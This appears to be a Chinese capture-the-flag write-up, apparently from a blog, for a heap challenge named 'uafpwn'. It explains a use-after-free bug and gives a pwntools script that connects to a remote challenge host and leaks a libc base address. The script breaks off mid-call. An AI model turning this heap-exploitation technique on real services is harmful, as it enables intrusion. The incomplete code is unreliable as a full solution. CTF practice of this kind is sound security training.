前言:
这次比赛了解到了还有jspwn这玩意, 然后没时间学(, 十月一定(逃)
uafpwn:
释放之后指针未置零, 所以use after free乱打
from pwn import *
context(log_level = 'debug', arch = 'amd64')
# sh = process('./uaf_pwn')
sh = remote('82.157.5.28', 52102)
elf = ELF('./uaf_pwn')
libc = elf.libc
def add(size):
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil('size>')
sh.sendline(str(size))
def free(idx):
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil('index>')
sh.sendline(str(idx))
def edit(idx, content):
sh.recvuntil('>')
sh.sendline('3')
sh.recvuntil('index>')
sh.sendline(str(idx))
sh.recvuntil('content>')
sh.sendline(content)
def show(idx):
sh.recvuntil('>')
sh.sendline('4')
sh.recvuntil('index>')
sh.sendline(str(idx))
add(0x80)
add(0x10)
free(0)
show(0)
leak_addr = u64(sh.recvuntil('\x7f').ljust(8, '\x00'))
libc_base = leak_addr - 0x58 - 0x10 - libc.sym['__malloc_hook']
log.success(hex(libc_base))
add(0x60)
free(0


1020

被折叠的 条评论
为什么被折叠?



